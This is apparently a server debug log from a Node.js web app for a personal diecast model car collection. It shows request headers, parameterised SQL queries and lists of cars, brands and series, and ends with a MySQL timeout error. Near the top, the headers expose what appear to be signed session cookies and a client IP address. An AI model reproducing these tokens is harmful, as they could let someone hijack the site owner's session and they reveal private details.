    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15',
    accept: 'text/fragment+html',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'accept-language': 'en-IN,en;q=0.9',
    priority: 'u=3, i',
    'accept-encoding': 'gzip,br',
    cookie: 'security.auth=s%3AAmNeKNKKMlgDl13AkccwPw%3D%3D.X%2Bgo2lU2KS3Sc8LQPtCcuGSicnbyv%2BvbBq7gjiozJr%2FzsWHKzXnbYtuR3CUTcSf8fBDtXXUKvB2cHhi7gfb7lJOA3RbPxU4ZiwvZzxGf%2BrVL7OChi%2BrR3C%2BY6gRidGoLYDF%2BEL12o1l1KSlUMVuGO%2BsFI7LWs%2BDwoirgtLgv2Fw%3D.P4qOZ4KBXwp0c5K9HSFFbNpS2AUlCfS318nptYt9zoI; your_r_git.sid=s%3AbKeLhBlYyPP69eZnKsCUtTFsDxJgxF9g.IUu67VVMPwTP2ezIZDWmL8RpUVyPAWBmp9Yyw63d1tc',
    'x-forwarded-for': '49.43.180.254',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-28T17:30:40.255Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.254',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15',
    HTTP_ACCEPT: 'text/fragment+html',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    HTTP_ACCEPT_LANGUAGE: 'en-IN,en;q=0.9',
    HTTP_PRIORITY: 'u=3, i',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_COOKIE: 'security.auth=s%3AAmNeKNKKMlgDl13AkccwPw%3D%3D.X%2Bgo2lU2KS3Sc8LQPtCcuGSicnbyv%2BvbBq7gjiozJr%2FzsWHKzXnbYtuR3CUTcSf8fBDtXXUKvB2cHhi7gfb7lJOA3RbPxU4ZiwvZzxGf%2BrVL7OChi%2BrR3C%2BY6gRidGoLYDF%2BEL12o1l1KSlUMVuGO%2BsFI7LWs%2BDwoirgtLgv2Fw%3D.P4qOZ4KBXwp0c5K9HSFFbNpS2AUlCfS318nptYt9zoI; your_r_git.sid=s%3AbKeLhBlYyPP69eZnKsCUtTFsDxJgxF9g.IUu67VVMPwTP2ezIZDWmL8RpUVyPAWBmp9Yyw63d1tc',
    'HTTP_X_FORWARDED-FOR': '49.43.180.254',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-01-27T17:30:47.573Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-27T17:30:47.574Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-27T17:30:47.575Z server-connect:router Serving serverConnect /api/diecast/list
2026-01-27T17:30:47.576Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-27T17:30:47.577Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-01-27T17:30:47.577Z server-connect:app Executing action step identify
2026-01-27T17:30:47.577Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:47.577Z server-connect:output identity: 1
2026-01-27T17:30:47.577Z server-connect:app Executing action step restrict
2026-01-27T17:30:47.577Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:47.578Z server-connect:app Executing action step identify
2026-01-27T17:30:47.578Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:47.578Z server-connect:output identity: 1
2026-01-27T17:30:47.578Z server-connect:app Executing action step restrict
2026-01-27T17:30:47.578Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:47.578Z server-connect:app Executing action step identify
2026-01-27T17:30:47.578Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:47.578Z server-connect:output identity: 1
2026-01-27T17:30:47.579Z server-connect:app Executing action step restrict
2026-01-27T17:30:47.579Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:47.579Z server-connect:output restrict: undefined
2026-01-27T17:30:47.579Z server-connect:app Executing action step select
2026-01-27T17:30:47.579Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-27T17:30:47.580Z server-connect:app Executing action step identify
2026-01-27T17:30:47.580Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:47.581Z server-connect:output identity: 1
2026-01-27T17:30:47.581Z server-connect:app Executing action step restrict
2026-01-27T17:30:47.581Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:47.582Z server-connect:output restrict: undefined
2026-01-27T17:30:47.582Z server-connect:app Executing action step select
2026-01-27T17:30:47.582Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-27T17:30:47.583Z server-connect:output restrict: undefined
2026-01-27T17:30:47.583Z server-connect:app Executing action step paged
2026-01-27T17:30:47.583Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-01-27T17:30:47.586Z server-connect:output restrict: undefined
2026-01-27T17:30:47.586Z server-connect:app Executing action step select
2026-01-27T17:30:47.586Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-27T17:30:47.588Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-01-27T17:30:47.589Z server-connect:app Executing action step identify
2026-01-27T17:30:47.589Z server-connect:app options: { provider: 'security' }
2026-01-27T17:30:47.589Z server-connect:output identity: 1
2026-01-27T17:30:47.589Z server-connect:app Executing action step restrict
2026-01-27T17:30:47.589Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-27T17:30:47.591Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-01-27T17:30:47.593Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-01-27T17:30:47.595Z server-connect:output restrict: undefined
2026-01-27T17:30:47.595Z server-connect:app Executing action step select
2026-01-27T17:30:47.595Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-27T17:30:47.600Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-01-27T17:30:47.601Z server-connect:app Executing action step select
2026-01-27T17:30:47.601Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-27T17:30:47.603Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-01-27T17:30:47.605Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-01-27T17:30:47.605Z server-connect:app Executing action step select
2026-01-27T17:30:47.605Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-27T17:30:47.606Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-28 03:16:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
